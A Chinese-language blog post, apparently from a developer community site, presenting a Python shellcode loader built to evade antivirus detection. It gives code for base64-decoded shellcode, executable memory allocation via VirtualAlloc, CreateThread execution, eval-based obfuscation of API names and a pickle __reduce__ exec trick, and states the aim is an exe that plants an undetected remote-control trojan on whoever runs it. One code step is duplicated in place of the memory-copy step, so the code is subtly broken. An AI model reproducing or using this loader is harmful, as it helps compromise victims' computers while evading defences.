多年的实战经验,告诉你的免杀实录!

简介: 多年的实战经验,告诉你的免杀实录!

生成shellcode加载器,不论什么语言都能实现。从应用最广的Java和Pytho语言选择,我用Python实现shellcode加载器,原因2点:

      (1)Java开发shellcode加载器,最终打成.exe包远远大于Python,谁愿意下载一个几十M的文件呢?(2)因为自己有一定的Python基础,所以这里对Python实现的源码来进行分析。



一、首先我们生成一个Python的马,如下图:

二、对Python生成shellcode源码分析

1. Ctypes

由于Python不能对内存进行操作,可以用ctypes跟c进行交互,用c操作内存

import ctypes,codecs,base64

# 64位编码

shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj"
# base64解码
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

2. 申请内存

  1. ctypes 是Python跟c交互的外部函数,用c分配内存,需要把数据转换为c的数据类型
  2. 参数:要分配的内存区域的地址、分配的大小、分配的类型、该内存的初始保护属性
  3. VirtualAlloc:分配大块内存,可用于 进程A和进程B之间通过共享内存来通信
  4. 该函数一个特性:可以预定指针地址和大小的虚拟内存空间,如果系统有足够大的空置区域能满足需求,则系统会将该块区域预定下来并返回预定内存的基地址,否则返回NULL
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

3. 放入shellcode

  1. 指定内存复制内存至buf里面
  2. 参数:指向移动目的地址的指针、指向要复制的内存地址的指针、指定要复制的字节数
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

4.创建一个线程

  1. 参数说明:指向安全属性的指针、初始堆栈大小、指向起始地址的指针、指向任何参数的指针、创建标志、指向接收线程标识符的值的指针
  2. 调用时,系统将创建一个进程和一个主线程,CreateThread将在主线程的基础上创建一个新线程
d = 'ctypes.windll.kernel32.' + 'CreateThread'
ht = eval(d)(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

5. 等待上面创建的线程运行完

e = 'ctypes.windll.kernel32.WaitFor' + 'SingleObject'
eval(e)(ctypes.c_int(ht),ctypes.c_int(-1))

6. 调用

class A(object):
  def __reduce__(self):
      return (exec, (shellcode,))
__reduce__ 被定义之后,对象被pickle之后被调用
ret = pickle.dumps(A())
print(ret)
pickle.loads(ret)

7. 最终达到目的

最后生成exe可执行文件

用户直接 执行exe,便种下一个免杀木马,攻击者便可以远控你的电脑

8. 最后测试木马免杀效果

9. 然后给沙箱

相关文章
510特辑 | 读懂阿里日,也就读懂了阿里
510特辑 | 读懂阿里日,也就读懂了阿里
634 0
mqc
|
缓存 安全 Java
测试之道--阿里巴巴八年测试专家倾情奉献
我从事测试工作将近八年了,从起初的不懂测试,怀疑测试,到相信测试,再到坚定测试,其中经历的辛酸、煎熬无法言表。在从事测试工作的这八年里,有人质疑,也有人追捧,唇枪舌剑,没完没了,貌似测试永远都是个站在舆论风口浪尖的角色。
mqc
7958 0
|
10月前
|
监控 架构师 程序员
阿里技术专家撰写程序员“不迷茫”职业路指南,切中痛点规划未来
我一直都是一个“笨孩子”,但我不以笨为耻。小学三年级时要写一篇关于柑橘树的作文,那时自己肚子没货、下笔万难,父亲知道后教了我两招:是从 整体到局部观察事物;二是阅读,看看别人是怎样写的。
|
监控 前端开发 Cloud Native
第十六届 D2 前端技术论坛完成 6 大专场 21 个话题集结,快来划重点,你一定会有所收获!
一年一度的前端盛会D2前端技术论坛就要来啦,话题集结完成,快来报名学习吧!
1594 0
第十六届 D2 前端技术论坛完成 6 大专场 21 个话题集结,快来划重点,你一定会有所收获!
|
新零售 Java 应用服务中间件
毕玄:我在阿里的十年技术感悟
在阿里,我们习惯尊称毕玄老师为“毕大师”。他2007年加入阿里,一手打造了HSF,十多年来更见证、参与了阿里在基础技术上的演进与发展:如淘宝在2007-2009年的分布式应用架构升级、2013-2016年的阿里电商异地多活架构升级等。但很少有人知道,他大学读的是生物专业。
13185 0
|
Java 开发者
【Java开发者专场】阿里专家墨玖:淘票票工程师文化
谈到工程师文化,大家都会比较熟悉,或者比较向往。但是到底什么是工程师文化,应该怎么做是互联网企业应该关注的东西。本文将从四个部分介绍工程师文化,首先,工程师文化从何而来?其次,我们为什么需要工程师文化?还有工程师文化要达到什么目标,走向哪里?最后,工程师文化实施手段有哪些,怎么样落地?
3278 0
|
大数据 Linux 应用服务中间件
老司机在阿里的日常
在阿里巴巴,我接触最多的三个项目 第一个项目是HSF,是阿里巴巴内部自用的微服务框架,另一个实现类似功能的是Dubbo,相信在场很多开发者都接触过Dubbo。HSF和Dubbo都是阿里巴巴非常重要,用来实现微服务的产品。
2643 0
|
Serverless 数据库 云计算
阿里资深技术专家林轩:云时代软件研发的终局猜想
2015 年到 2016 年,是业界普遍认为的容器技术爆发的一年,短短几年时间,我们看到容器技术星火燎原。但是容器毕竟是个底层产品,距离业务还很远。对云上客户来说,直接需要的终归是直接触达业务的应用。 而在这一层上,还没有形成标准。
2044 0
|
机器学习/深度学习 人工智能 大数据
8月8日云栖精选夜读 | 阿里资深技术专家林轩:云时代软件研发的终局猜想
2015 年到 2016 年,是业界普遍认为的容器技术爆发的一年,短短几年时间,我们看到容器技术星火燎原。但是容器毕竟是个底层产品,距离业务还很远。对云上客户来说,直接需要的终归是直接触达业务的应用。 而在这一层上,还没有形成标准。
4828 0
下一篇
无影云桌面